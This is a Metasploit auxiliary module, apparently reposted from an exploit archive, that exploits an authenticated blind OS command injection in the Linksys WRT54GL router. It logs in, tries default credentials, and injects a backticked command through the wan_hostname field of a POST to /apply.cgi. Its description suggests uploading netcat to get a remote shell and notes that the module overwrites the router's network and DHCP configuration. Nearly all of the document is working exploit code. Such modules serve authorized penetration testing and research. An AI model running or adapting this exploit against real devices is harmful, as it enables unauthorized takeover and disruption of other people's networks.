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## https://sploitus.com/exploit?id=PACKETSTORM:180877
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linksys WRT54GL Remote Command Execution',
'Description' => %q{
Some Linksys Routers are vulnerable to OS Command injection.
You will need credentials to the web interface to access the vulnerable part
of the application.
Default credentials are always a good starting point. admin/admin or admin
and blank password could be a first try.
Note: This is a blind OS command injection vulnerability. This means that
you will not see any output of your command. Try a ping command to your
local system and observe the packets with tcpdump (or equivalent) for a first test.
Hint: To get a remote shell you could upload a netcat binary and exec it.
WARNING: this module will overwrite network and DHCP configuration.
},
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-01' ],
[ 'URL', 'http://www.s3cur1ty.de/attacking-linksys-wrt54gl' ],
[ 'EDB', '24202' ],
[ 'BID', '57459' ],
[ 'OSVDB', '89421' ]
],
'DisclosureDate' => '2013-01-18'
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'PATH to OS Command Injection', '/apply.cgi']),
OptString.new('HttpUsername', [ true, 'User to login with', 'admin']),
OptString.new('HttpPassword', [ false, 'Password to login with', 'password']),
OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1']),
OptString.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']),
OptAddress.new('LANIP', [ false, 'LAN IP address of the router (default is RHOST)']),
OptString.new('ROUTER_NAME', [ false, 'Name of the router', 'cisco']),
OptString.new('WAN_DOMAIN', [ false, 'WAN Domain Name', 'test']),
OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500'])
]
)
end
# If the user configured LANIP, use it. Otherwise, use RHOST.
# NB: This presumes a dotted quad ip address.
def lan_ip
if datastore['LANIP'].to_s.empty?
datastore['RHOST']
else
datastore['LANIP']
end
end
def run
# setting up some basic variables
uri = datastore['TARGETURI']
user = datastore['HttpUsername']
rhost = datastore['RHOST']
netmask = datastore['NETMASK']
routername = datastore['ROUTER_NAME']
wandomain = datastore['WAN_DOMAIN']
wanmtu = datastore['WAN_MTU']
ip = lan_ip.split('.')
if datastore['HttpPassword'].nil?
pass = ''
else
pass = datastore['HttpPassword']
end
print_status("Trying to login with #{user} / #{pass}")
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
'authorization' => basic_auth(user, pass)
})
unless (res.is_a? Rex::Proto::Http::Response)
vprint_error("#{rhost} not responding")
return :abort
end
if (res.code == 404)
print_error('Not Found page returned')
return :abort
end
if [200, 301, 302].include?(res.code)
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
else
print_error("NO SUCCESSFUL LOGIN POSSIBLE. '#{user}' : '#{pass}'")
return :abort
end
rescue ::Rex::ConnectionError
vprint_error("#{rhost} - Failed to connect to the web server")
return :abort
end
cmd = datastore['CMD']
print_status('Sending remote command: ' + cmd)
# cmd = Rex::Text.uri_encode(datastore['CMD'])
# original Post Request:
# data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&"
# data_cmd << "lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&"
# data_cmd << "wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&"
# data_cmd << "lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&"
# data_cmd << "lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&"
# data_cmd << "wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&"
# data_cmd << "wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&"
# data_cmd << "wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1"
vprint_status("using the following target URL: #{uri}")
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'authorization' => basic_auth(user, pass),
# 'data' => data_cmd,
'vars_post' => {
'submit_button' => 'index',
'change_action' => '1',
'submit_type' => '1',
'action' => 'Apply',
'now_proto' => 'dhcp',
'daylight_time' => '1',
'lan_ipaddr' => '4',
'wait_time' => '0',
'need_reboot' => '0',
'ui_language' => 'de',
'wan_proto' => 'dhcp',
'router_name' => routername.to_s,
'wan_hostname' => "`#{cmd}`",
'wan_domain' => wandomain.to_s,
'mtu_enable' => '1',
'wan_mtu' => wanmtu.to_s,
'lan_ipaddr_0' => (ip[0]).to_s,
'lan_ipaddr_1' => (ip[1]).to_s,
'lan_ipaddr_2' => (ip[2]).to_s,
'lan_ipaddr_3' => (ip[3]).to_s,
'lan_netmask' => netmask.to_s,
'lan_proto' => 'dhcp',
'dhcp_check' => '1',
'dhcp_start' => '100',
'dhcp_num' => '50',
'dhcp_lease' => '0',
'wan_dns' => '4',
'wan_dns0_0' => '0',
'wan_dns0_1' => '0',
'wan_dns0_2' => '0',
'wan_dns0_3' => '0',
'wan_dns1_0' => '0',
'wan_dns1_1' => '0',
'wan_dns1_2' => '0',
'wan_dns1_3' => '0',
'wan_dns2_0' => '0',
'wan_dns2_1' => '0',
'wan_dns2_2' => '0',
'wan_dns2_3' => '0',
'wan_wins' => '4',
'wan_wins_0' => '0',
'wan_wins_1' => '0',
'wan_wins_2' => '0',
'wan_wins_3' => '0',
'time_zone' => '-08+1+1',
'_daylight_time' => '1'
}
})
rescue ::Rex::ConnectionError
vprint_error("#{rhost} - Failed to connect to the web server")
return :abort
end
if res && (res.code == 200)
print_status('Blind Exploitation - Response expected')
else
print_error("Blind Exploitation - Response don't expected")
end
print_status('Blind Exploitation - wait around 10 seconds until the configuration gets applied and your command gets executed')
print_status('Blind Exploitation - unknown Exploitation state')
end
end